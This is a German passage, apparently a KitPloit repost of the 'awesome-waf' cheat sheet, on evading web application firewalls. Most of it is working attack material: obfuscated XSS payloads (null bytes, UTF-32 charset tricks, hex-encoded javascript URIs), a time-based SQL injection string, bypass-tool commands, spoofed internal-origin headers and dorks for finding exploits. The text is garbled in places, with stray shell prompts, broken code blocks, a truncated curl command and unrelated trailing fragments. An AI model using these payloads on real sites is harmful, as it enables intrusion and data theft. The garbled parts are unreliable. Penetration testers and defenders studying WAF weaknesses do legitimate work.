Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Wenn die Seite geladen wird, wird sie auf die von uns eingestellte UTF-32-Kodierung kodiert, und da die Ausgabekodierung der Seite UTF-8 ist, wird sie wie folgt gerendert: "<script>alert (1) </ script> was XSS auslöst.

Endgültig URL-kodierte Nutzlast:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

root@kitploit:~
#### Null Bytes:
- Die Null-Bytes werden üblicherweise als String-Terminator verwendet.
- Dies kann uns helfen, viele Webanwendungsfilter zu umgehen, falls sie die Null-Bytes nicht herausfiltern.

Payload-Beispiele:```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

Standard: <a href="javascript:alert()">
Verschleiert: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variante: <a 0x00 href="javascript:alert(1)">clickme</a>

Parsing-Fehler:

  • Der RFC besagt, dass NodeNames nicht mit Leerzeichen beginnen dürfen.
  • Aber wir können Sonderzeichen wie %, //, !, ? usw. verwenden.

Beispiele:

  • <// style=x:expression\28write(1)\29> - Funktioniert bis IE7 (Quelle)
  • <!--[if]><script>alert(1)</script --> - Funktioniert bis IE9 (Referenz)
  • <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Funktioniert im IE7 (Referenz)
  • <%div%20style=xss:expression(prompt(1))> - Funktioniert bis IE7

Unicode-Trennzeichen:

  • Jeder Browser hat seinen eigenen spezifischen Zeichensatz von Trennzeichen.
  • Wir können den Zeichensatzbereich von 0x00 bis 0xFF fuzzen und den Satz von Trennzeichen für jeden Browser ermitteln.
  • Wir können diese Trennzeichen an Stellen verwenden, an denen ein Leerzeichen erforderlich ist.

Hier ist eine zusammengestellte Liste von Trennzeichen von @Masato Kinugawa:

  • IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
  • Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Safari: 0x2C, 0x3B
  • FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Opera: 0x09, 0x20, 0x2C, 0x3B
  • Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

Ein exotisches Payload-Beispiel:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

root@kitploit:~
### Verwendung atypischer äquivalenter syntaktischer Strukturen
- Diese Methode zielt darauf ab, einen Weg der Ausnutzung zu finden, der von den WAF-Entwicklern nicht berücksichtigt wurde.
- Einige Anwendungsfälle können auf kritische Ebenen gebracht werden, bei denen die WAF die Payloads überhaupt nicht erkennen kann.
- Dieser Payload wird nach dem Durchlaufen der Firewall vom Server akzeptiert und ausgeführt.

Einige häufige Schlüsselwörter, die von WAF-Entwicklern übersehen werden:
- JavaScript-Funktionen:
    - `window`
    - `parent`
    - `this`
    - `self`
- Tag-Attribute:
    - `onwheel`
    - `ontoggle`
    - `onfilterchange`
    - `onbeforescriptexecute`
    - `ondragstart`
    - `onauxclick`
    - `onpointerover`
    - `srcdoc`
- SQL-Operatoren
    - `lpad`
    - `field`
    - `bit_count`

Beispiel-Payloads:  
- __Fall:__ XSS```
<script>window['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/0)</script>
<script>parent['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/1)</script>
<script>self['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/2)</script>
  • Fall: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)
root@kitploit:~
Viele Alternativen zum ursprünglichen JavaScript können verwendet werden, nämlich:
- [JSFuck](http://www.jsfuck.com/)
- [JJEncode](http://utf-8.jp/public/jjencode.html)
- [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)
> Das Problem bei der Verwendung der oben genannten syntaktischen Strukturen sind jedoch die langen Payloads, die möglicherweise von der WAF erkannt oder durch das CSP blockiert werden könnten. Aber man weiß nie, vielleicht umgehen sie auch das CSP (falls vorhanden). ;)

### Missbrauch von SSL/TLS-Verschlüsselungen:
- Oft akzeptieren Server Verbindungen von verschiedenen SSL/TLS-Verschlüsselungen und -Versionen.
- Die Verwendung einer Verschlüsselung, um eine Verbindung zu einem Server herzustellen, die von der WAF nicht unterstützt wird, kann unsere Arbeit erledigen.

#### Technik:
- Finden Sie die von der Firewall unterstützten Verschlüsselungen heraus (normalerweise wird dies in der Dokumentation des WAF-Anbieters erläutert).
- Finden Sie die vom Server unterstützten Verschlüsselungen heraus (Tools wie [SSLScan](https://github.com/rbsec/sslscan) helfen hier).
- Wenn eine bestimmte Verschlüsselung, die nicht von der WAF, aber vom Server unterstützt wird, gefunden wird, voilà!
- Das Initiieren einer neuen Verbindung zum Server mit dieser spezifischen Verschlüsselung sollte unsere Payload einschmuggeln.

> __Tool__: [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf)```
python abuse-ssl-bypass-waf.py -thread 4 -target <target>

CLI-Tools wie cURL können für PoCs sehr nützlich sein:``` curl --ciphers -G -d

root@kitploit:~
### Missbrauch des WAF-Limits bei HTTP-Antworten
#### Methode
- Oftmals haben WAFs ein Limit, wie viel der HTTP-Anfrage sie verarbeiten sollen.
- Indem wir eine HTTP-Anfrage mit einer Größe __größer als das Limit__ senden, können wir WAFs vollständig umgehen.

#### Technik
- Verwenden Sie einen Versuch-und-Irrtum-Ansatz, um herauszufinden, wie viel der HTTP-Anfrage von der WAF inspiziert wird (normalerweise in Vielfachen von 4 kB).
- Sobald dies erledigt ist, hängen Sie Ihre Payload an die Anfrage an, nachdem Sie das Limit mit Müll gefüllt haben.

> Eine ähnliche Technik wurde verwendet, um die [Google Cloud Platform WAF zu umgehen](https://kloudle.com/blog/piercing-the-cloud-armor-the-8kb-bypass-in-google-cloud-platform-waf).

### Missbrauch der DNS-Historie:
- Oft liefern alte historische DNS-Einträge Informationen über den Standort der Seite hinter der WAF.
- Das Ziel ist es, den Standort der Seite zu ermitteln, damit wir unsere Anfragen direkt an die Seite und nicht über die WAF leiten können.
> __TIPP:__ Einige Online-Dienste wie [IP History](http://www.iphistory.ch/en/) und [DNS Trails](https://securitytrails.com/dns-trails) helfen während des Recon-Prozesses weiter.

__Tool__: [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)```
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall

Verwendung von Whitelist-Strings:

Methode:

  • Einige WAF-Entwickler bewahren ein gemeinsames Geheimnis mit ihren Benutzern/Entwicklern auf, das es ihnen ermöglicht, schädliche Abfragen durch die WAF zu schleusen.
  • Dieses gemeinsame Geheimnis kann, wenn es durchsickert/bekannt wird, verwendet werden, um alle Schutzmaßnahmen innerhalb der WAF zu umgehen.

Technik:

  • Die Verwendung des Whitelist-Strings als Parameter in GET/POST/PUT/DELETE-Anfragen schmuggelt unsere Nutzlast durch die WAF.
  • Üblicherweise werden einige *-sync-request-Schlüsselwörter oder ein gemeinsamer Token-Wert als Geheimnis verwendet.
  • Oft kann das Hinzufügen spezifischer Header ein ähnliches Whitelist-Verhalten auslösen.

Bei einer Anfrage an den Server können Sie diese nun als Parameter anhängen:``` http://host.com/?randomparameter=&=True

root@kitploit:~
> Ein praktisches Beispiel, wie dies funktioniert, finden Sie in [diesem Blog](https://osandamalith.com/2019/10/12/bypassing-the-webarx-web-application-firewall-waf/).

### Request Header Spoofing:
#### Methode:
- Das Ziel ist es, die WAF/den Server glauben zu lassen, dass die Anfrage aus dem internen Netzwerk stammt.
- Das Hinzufügen einiger gefälschter Header, die das interne Netzwerk repräsentieren, erledigt den Trick.

#### Technik:
- Mit jeder Anfrage wird eine Reihe von Headern gleichzeitig hinzugefügt, um so die Herkunft zu fälschen.
- Der vorgelagerte Proxy/WAF interpretiert die Anfrage fälschlicherweise als aus ihrem internen Netzwerk stammend und lässt unsere schaurige Payload durch.

Einige gängige verwendete Header:```
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1

Google-Dorks-Ansatz:

Methode:

  • Es gibt viele bekannte Umgehungen verschiedener Web Application Firewalls (siehe Abschnitt).
  • Mit Hilfe von Google-Dorks können wir leicht Umgehungen finden.

Techniken:

Bevor Sie beginnen, sollten Sie Ihre Fähigkeiten mit dem Google-Dorks-Spickzettel verbessern.

  • Normale Suche:
    +<wafname> waf bypass

  • Suche nach spezifischen Versions-Exploits:
    "<wafname> <version>" (bypass|exploit)

  • Für spezifische Typen von Umgehungs-Exploits:
    "<wafname>" +<bypass type> (bypass|exploit)

  • Auf Exploit DB:
    site:exploit-db.com +<wafname> bypass

  • Auf 0Day Inject0r DB:
    site:0day.today +<wafname> <type> (bypass|exploit)

  • Auf Twitter:
    site:twitter.com +<wafname> bypass

  • Auf Pastebin

root@kitploit:~

---

[Read more](https://github.com/0xinfection/awesome-waf)
  • Query-String in seinem ursprünglichen Format (kann wie üblich URL-kodiert sein).
  • Body kann mit oder ohne URL-Kodierung gesendet werden.
  • Gleichheitszeichen und kaufmännisches Und sollten in keiner Weise kodiert werden.
Ein Array wird zurückgegeben
ARRAY(0x8b9058c)